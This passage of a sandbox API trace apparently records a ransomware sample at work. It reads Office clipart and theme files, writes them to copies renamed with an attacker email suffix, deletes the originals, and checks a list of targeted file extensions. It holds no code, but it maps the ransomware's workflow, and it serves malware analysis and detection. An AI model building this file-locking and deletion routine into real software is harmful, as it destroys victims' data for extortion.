(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid")) returned 0x20 [0272.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0272.153] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0272.153] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0272.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.153] GetLastError () returned 0x0 [0272.153] ReadFile (in: hFile=0x37c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x36dc, lpOverlapped=0x0) returned 1 [0272.155] WriteFile (in: hFile=0x388, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0x36e0, lpOverlapped=0x0) returned 1 [0272.156] ReadFile (in: hFile=0x37c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x0, lpOverlapped=0x0) returned 1 [0272.156] WriteFile (in: hFile=0x388, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.156] SetEndOfFile (hFile=0x388) returned 1 [0272.156] CloseHandle (hObject=0x388) returned 1 [0272.156] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0272.156] SetEndOfFile (hFile=0x37c) returned 1 [0272.199] CloseHandle (hObject=0x37c) returned 1 [0272.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid")) returned 1 [0272.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0272.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0272.241] lstrlenW (lpString=".doc") returned 4 [0272.241] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.241] lstrlenW (lpString=".docx") returned 5 [0272.241] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.241] lstrlenW (lpString=".pdf") returned 4 [0272.241] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.241] lstrlenW (lpString=".xls") returned 4 [0272.241] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.241] lstrlenW (lpString=".xlsx") returned 5 [0272.241] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.241] lstrlenW (lpString=".ppt") returned 4 [0272.241] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0272.242] lstrlenW (lpString=".zip") returned 4 [0272.242] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.242] lstrlenW (lpString=".rar") returned 4 [0272.242] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.242] lstrlenW (lpString=".bz2") returned 4 [0272.242] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.242] lstrlenW (lpString=".7z") returned 3 [0272.242] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0272.242] lstrlenW (lpString=".dbf") returned 4 [0272.242] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0272.242] lstrlenW (lpString=".1cd") returned 4 [0272.242] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0272.242] lstrlenW (lpString=".jpg") returned 4 [0272.242] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0272.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0272.242] lstrlenW (lpString=".doc") returned 4 [0272.242] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.242] lstrlenW (lpString=".docx") returned 5 [0272.242] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.242] lstrlenW (lpString=".pdf") returned 4 [0272.242] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.242] lstrlenW (lpString=".xls") returned 4 [0272.242] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.242] lstrlenW (lpString=".xlsx") returned 5 [0272.243] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.243] lstrlenW (lpString=".ppt") returned 4 [0272.243] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0272.243] lstrlenW (lpString=".zip") returned 4 [0272.243] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.243] lstrlenW (lpString=".rar") returned 4 [0272.243] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.243] lstrlenW (lpString=".bz2") returned 4 [0272.243] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.243] lstrlenW (lpString=".7z") returned 3 [0272.243] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0272.243] lstrlenW (lpString=".dbf") returned 4 [0272.243] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0272.243] lstrlenW (lpString=".1cd") returned 4 [0272.243] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0272.243] lstrlenW (lpString=".jpg") returned 4 [0272.243] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.243] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0272.243] lstrlenW (lpString="Adjacency.eftx") returned 14 [0272.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.257] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=21089) returned 1 [0272.257] CloseHandle (hObject=0x388) returned 1 [0272.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx")) returned 0x20 [0272.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.258] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0272.258] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0272.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0272.630] GetLastError () returned 0x0 [0272.630] ReadFile (in: hFile=0x388, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x5261, lpOverlapped=0x0) returned 1 [0272.632] WriteFile (in: hFile=0x2f0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x5270, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0x5270, lpOverlapped=0x0) returned 1 [0272.633] ReadFile (in: hFile=0x388, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x0, lpOverlapped=0x0) returned 1 [0272.633] WriteFile (in: hFile=0x2f0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0272.633] SetEndOfFile (hFile=0x2f0) returned 1 [0272.633] CloseHandle (hObject=0x2f0) returned 1 [0272.634] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0272.634] SetEndOfFile (hFile=0x388) returned 1 [0272.653] CloseHandle (hObject=0x388) returned 1 [0272.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx")) returned 1 [0272.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0272.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0272.655] lstrlenW (lpString=".doc") returned 4 [0272.655] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.655] lstrlenW (lpString=".docx") returned 5 [0272.655] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.655] lstrlenW (lpString=".pdf") returned 4 [0272.655] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.655] lstrlenW (lpString=".xls") returned 4 [0272.655] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.655] lstrlenW (lpString=".xlsx") returned 5 [0272.655] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.655] lstrlenW (lpString=".ppt") returned 4 [0272.655] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0272.656] lstrlenW (lpString=".zip") returned 4 [0272.656] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.656] lstrlenW (lpString=".rar") returned 4 [0272.656] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.656] lstrlenW (lpString=".bz2") returned 4 [0272.656] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.656] lstrlenW (lpString=".7z") returned 3 [0272.656] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0272.656] lstrlenW (lpString=".dbf") returned 4 [0272.656] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0272.656] lstrlenW (lpString=".1cd") returned 4 [0272.656] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0272.656] lstrlenW (lpString=".jpg") returned 4 [0272.656] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0272.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0272.656] lstrlenW (lpString=".doc") returned 4 [0272.656] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.656] lstrlenW (lpString=".docx") returned 5 [0272.656] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.656] lstrlenW (lpString=".pdf") returned 4 [0272.656] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.656] lstrlenW (lpString=".xls") returned 4 [0272.656] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.656] lstrlenW (lpString=".xlsx") returned 5 [0272.656] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.656] lstrlenW (lpString=".ppt") returned 4 [0272.656] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0272.656] lstrlenW (lpString=".zip") returned 4 [0272.656] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.656] lstrlenW (lpString=".rar") returned 4 [0272.656] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.657] lstrlenW (lpString=".bz2") returned 4 [0272.657] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.657] lstrlenW (lpString=".7z") returned 3 [0272.657] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0272.657] lstrlenW (lpString=".dbf") returned 4 [0272.657] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0272.657] lstrlenW (lpString=".1cd") returned 4 [0272.657] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0272.657] lstrlenW (lpString=".jpg") returned 4 [0272.657] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.657] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0272.657] lstrlenW (lpString="Clarity.eftx") returned 12 [0272.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.659] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=32818) returned 1 [0272.659] CloseHandle (hObject=0x388) returned 1 [0272.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx")) returned 0x20 [0272.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.659] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0272.660] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0272.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0272.660] GetLastError () returned 0x0 [0272.660] ReadFile (in: hFile=0x388, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x8032, lpOverlapped=0x0) returned 1 [0272.663] WriteFile (in: hFile=0x37c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x8040, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0x8040, lpOverlapped=0x0) returned 1 [0272.664] ReadFile (in: hFile=0x388, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2bffed4*=0x0, lpOverlapped=0x0) returned 1 [0272.664] WriteFile (in: hFile=0x37c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.664] SetEndOfFile (hFile=0x37c) returned 1 [0272.664] CloseHandle (hObject=0x37c) returned 1 [0272.664] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 1 [0272.664] SetEndOfFile (hFile=0x388) returned 1 [0273.063] CloseHandle (hObject=0x388) returned 1 [0273.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx")) returned 1 [0273.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0273.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0273.148] lstrlenW (lpString=".doc") returned 4 [0273.148] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.148] lstrlenW (lpString=".docx") returned 5 [0273.148] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.148] lstrlenW (lpString=".pdf") returned 4 [0273.148] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.148] lstrlenW (lpString=".xls") returned 4 [0273.148] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.148] lstrlenW (lpString=".xlsx") returned 5 [0273.148] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.148] lstrlenW (lpString=".ppt") returned 4 [0273.148] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0273.148] lstrlenW (lpString=".zip") returned 4 [0273.148] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.148] lstrlenW (lpString=".rar") returned 4 [0273.148] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.148] lstrlenW (lpString=".bz2") returned 4 [0273.148] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.148] lstrlenW (lpString=".7z") returned 3 [0273.149] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0273.149] lstrlenW (lpString=".dbf") returned 4 [0273.149] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0273.149] lstrlenW (lpString=".1cd") returned 4 [0273.149] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0273.149] lstrlenW (lpString=".jpg") returned 4 [0273.149] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0273.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0273.149] lstrlenW (lpString=".doc") returned 4 [0273.149] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.149] lstrlenW (lpString=".docx") returned 5 [0273.149] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.149] lstrlenW (lpString=".pdf") returned 4 [0273.149] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.149] lstrlenW (lpString=".xls") returned 4 [0273.149] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.149] lstrlenW (lpString=".xlsx") returned 5 [0273.149] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.149] lstrlenW (lpString=".ppt") returned 4 [0273.149] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0273.149] lstrlenW (lpString=".zip") returned 4 [0273.149] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.150] lstrlenW (lpString=".rar") returned 4 [0273.150] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.150] lstrlenW (lpString=".bz2") returned 4 [0273.150] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.150] lstrlenW (lpString=".7z") returned 3 [0273.150] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0273.150] lstrlenW (lpString=".dbf") returned 4 [0273.150] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0273.150] lstrlenW (lpString=".1cd") returned 4 [0273.150] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0273.150] lstrlenW (lpString=".jpg") returned 4 [0273.150] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.150] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0273.150] lstrlenW (lpString="Essential.eftx") returned 14 [0273.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.230] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=16350) returned 1 [0273.230] CloseHandle (hObject=0x38c) returned 1 [0273.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx")) returned 0x20 [0273.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.231] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec8 | out: lpNewFilePointer=0x0) returned 